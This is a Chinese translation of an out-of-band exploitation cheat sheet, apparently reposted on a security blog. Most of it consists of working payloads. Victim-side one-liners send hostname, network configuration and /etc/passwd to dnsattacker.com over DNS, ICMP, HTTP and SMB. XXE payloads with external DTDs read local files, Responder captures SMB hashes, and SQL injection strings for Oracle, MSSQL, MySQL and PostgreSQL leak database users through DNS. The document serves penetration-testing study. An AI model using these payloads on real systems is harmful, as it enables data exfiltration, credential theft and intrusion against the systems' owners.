带外通道(OOB)攻击技术清单

文章

原文:https://www.notsosecure.com/oob-exploitation-cheatsheet/

参考案例:带外通道(OOB)Bind XML外部实体注入漏洞:PayPal案例研究

简介

带外(OOB)技术为攻击者提供了另一种方法来确认和利用“盲注”漏洞。在一个盲注漏洞中, 攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。OOB技术通常需要易受攻击的实体生成出站TCP / UDP / ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即允许来自易受攻击的系统和外围防火墙的出站请求。

在本文中,Ajay(@ 9r4shar4j4y)Ashwin(@ AshwinPathak26)一直遵守经验,将DNS作为OOB成功的最佳选择。因此,对于所有下面提到的技术,我们都非常关注DNS。

出于本文的目的,我们尝试将受害者有效负载保持为具有最小依赖性和特权的单行。

设置:启动DNS / OOB查询的基础架构。

 先决条件

  1. 具有静态IP地址的公共服务器: 出于演示目的,我们将使用由Google云平台(GCP)提供的VPS服务。
  2. 注册域名: 管理已注册的域名, 将解析权委托给你的域名服务器。我们将使用oob.dnsattacker.com进行DNS解析。

步骤

我们使用Google Cloud Platform(GCP)创建具有静态IP地址的Linux机器。确保您在服务器上具有root权限。如果您之前没有GCP经验,可以按照本  指南  创建自己的机器。

我们在注册商门户网站的DNS设置中为我们的域添加了两条记录。首先用NameServer定义了一个子域。然后,我们为名称服务器定义了A记录(我们的GCP服务器的IP地址)。这些设置将子域的所有DNS请求路由到我们的GCP服务器。

我们可以使用tcpdump来观察服务器上的DNS查询。

OS命令注入:OOB

我们可以通过解析精心设计的DNS名称并查找关联的DNS查询来检测Web应用程序中的命令注入漏洞。

检测

DNS

攻击者:使用Wireshark / tcpdump 指定53端口来观察响应

sudo tcpdump -n port 53

注意:在DNS命令中,我们还可以显式定义用于解析的名称服务器。

Windows

nslookup  test.oob.dnsattacker.com
nslookup Windows
ping ping.oob.dnsattacker.com

Ping Windows

UNIX

host host.oob.dnsattacker.com 
Unix主机命令

同样,我们可以使用:

dig  test.oob.dnsattacker.com 
ping  test.oob.dnsattacker.com  
nslookup  test.oob.dnsattacker.com 

漏洞利用/数据提取

DNS

注意:对端口53使用Wireshark / tcpdump来观察响应

tcpdump -n port 53

Windows

受害者:  

cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"

攻击者:

echo “encoded output” |base64 -d  # decode the output with base64
使用多行和大量数据进行输出。

受害者

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"    # Sending file in HEX

攻击者

sudo tcpdump -n port 53 | tee file.txt

提取和构建输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

限制:需要Powershell

Unix:

受害者: 

var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  $var.$b.file.oob.dnsattacker.com; done   # Sending file in HEX

攻击者

sudo tcpdump -n port 53 | tee file.txt

提取和构建输出:

echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p

与十六进制编码相比,Base64编码文件的大小更小。

受害者

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64

攻击者

cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d    # Extracting Output

ICMP

Windows

受害者

cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);

攻击者

sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap  #To capture

提取:

echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

限制: 需要Powershell

Unix的

受害者: 

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don

攻击者:

sudo tcpdump  'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture

提取

echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

HTTP

windows

受害者: 

cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

注意  如果powershell不可用,请使用“ mshta!Final!“。

攻击者

echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

Unix的

受害者: 

wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000

攻击者: 

echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

同样,我们可以使用

wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com           # extract data  in post section

wget –post-file trophy.php http://dnsattacker.com    # extract source code

cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt

SMB [使用Responder窃取哈希]

windows

受害者

net use h: \\dnsattacker.com\web

攻击者

sudo ./Responder.py -I eth0#Run responder to capture hashes

同样,我们可以使用:

net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt

XXE:带外通道

检测

可以通过向攻击者域(即 oob.dnsattacker.com)发起DNS请求来确认XXE漏洞。关于XXE漏洞,这里有一个不错的靶机。
受害者:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>

攻击者:

sudo tcpdump -n udp port 53

限制: 在撰写本文时,DNS查询只能用于检测XXE。

漏洞利用/数据提取

HTTP

攻击者:运行python HTTP服务器来托管dtd文件。

python -m SimpleHttpServer 9000

受害者:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">


注意:对于基于Windows的受害者计算机,请使用下面提到的dtd文件
windows.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>"> 

FTP

攻击者
运行python HTTP服务器来托管dtd文件和xxeftp服务器(参见  这里)。

python -m SimpleHttpServer 9000

python xxeftp.py

受害者

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

注意:对于基于Windows的受害者机器,请使用下面提到的dtd文件

windows.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

SMB [窃取哈希]

攻击者:运行Responder捕获哈希值

sudo ./Responder.py -I eth0

受害者

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>

注意:出于演示目的,我们将使用CVE-2018-0878:Windows远程协助XXE漏洞

类似地,其他可能的有效负载来传输数据

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt

SQL注入

注意:所有数据库服务器安装都在Windows上。有关SQL注入备忘单,请参阅此处此处

检测

DNS

攻击者:使用Wireshark / tcpdump对53端口观察响应。

sudo tcpdump -n port 53

ORACLE

检测

受害者

SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;

注意: 为了使用此技术,需要更高的权限来调用上述功能。

漏洞利用/数据提取

受害者

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;    /* Extracting Oracle database version */

同样,我们可以使用以下有效载荷。

受害者

SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;      /*Extracting Current user in Oracle database */

如果您使用的是10G或更低版本的Oracle,则创建DNS查询的其他方法有:  UTL_INADDR.GET_HOST_ADDRESS,UTL_HTTP.REQUEST,HTTP_URITYPE.GETCLOB,DBMS_LDAP.INIT和UTL_TCP

MSSQL

检测

受害者

EXEC master..xp_dirtree '\\oob.dnsattacker.com \' --
漏洞利用/数据提取

受害者

DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);  
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

限制 ::为了使用此技术,数据库用户应具有sysadmin权限。

类似地,创建DNS查询的其他方法:xp_fileexists,xp_subdirs,xp_getfiledetails,sp_add_jobstep

 MYSQL

检测

受害者: 

SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));
漏洞利用/数据提取

受害者

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));

限制:为了使用此技术,数据库用户应具有“选择”,“更新”和“文件”权限。

PostgreSQL的

检测

受害者

CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

限制:用户必须具有超级用户权限才能执行CREATE EXTENSION查询

漏洞利用/数据提取

受害者

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
    SELECT INTO query_result (SELECT encode(convert_to(concat(user,'     '), 'UTF8'),'hex'));
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
    EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

限制:用户必须具有超级用户权限才能执行此命令

使用DNS进行数据外发的限制

  • 域名最多可包含127个子域。
  • 每个子域最多可包含63个字符长度。
  • 完整域名的最大长度为253个字符。
  • 由于DNS记录缓存, 会为每个请求的URL添加唯一值。
  • DNS是明文通道,通过DNS提取的任何数据都将采用明文格式,并可供中间节点和DNS服务器缓存使用。因此,建议  不要  通过DNS提取敏感数据。

参考

  • https://github.com/beefproject/beef/wiki/Installation
  • https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
  • https://www.youtube.com/watch?v=COVtU5G0Iys
  • https://github.com/Arno0x/DNSExfiltrator
  • https://blog.zsec.uk/out-of-band-xxe-2/
  • https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1
  • https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1
  • https://ss64.com/nt/certutil.html
  • https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/
  • https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/
  • https://www.aldeid.com/wiki/File-transfer-via-DNS
  • https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/
微信 OR 支付宝 扫描二维码
为本文作者 打个赏
pay_weixin pay_zhifubao
如果文章对您有帮助,欢迎打赏赞助作者
没有评论

发表评论

文章
我的CSP绕过思路及总结

Author: evoA@Syclover CSP简介 内容安全策略(CSP)是一种web应用技术用 …

工具
Web应用代码自动化审计浅谈与工具

原文:https://xz.aliyun.com/t/4637 0. 序 代码审计是找到应用缺陷的过 …

文章
绕过WAF的XSS检测机制

译文声明 本文是翻译文章,文章原作者s0md3v,文章来源:github.com 原文地址 …